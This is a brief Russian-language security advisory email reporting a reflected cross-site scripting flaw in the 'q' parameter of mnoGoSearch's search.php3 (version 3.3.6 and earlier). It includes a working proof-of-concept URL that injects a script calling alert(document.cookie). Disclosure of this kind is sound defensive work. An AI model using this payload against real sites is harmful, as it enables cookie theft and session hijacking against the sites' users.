Vulnerability in mnoGoSearch

Здравствуйте 3APA3A!

Сообщаю вам о найденной мною Cross-Site Scripting уязвимости в mnoGoSearch (локальной поисковой системе).

Уязвимость в скрипте search.php3 в параметре q.

XSS:

http://site/search/search.php3?q=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Уязвима версия mnoGoSearch 3.3.6 и предыдущие версии локального поисковика.

Дополнительная информация о данной уязвимости у меня на сайте:
http://websecurity.com.ua/1726/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua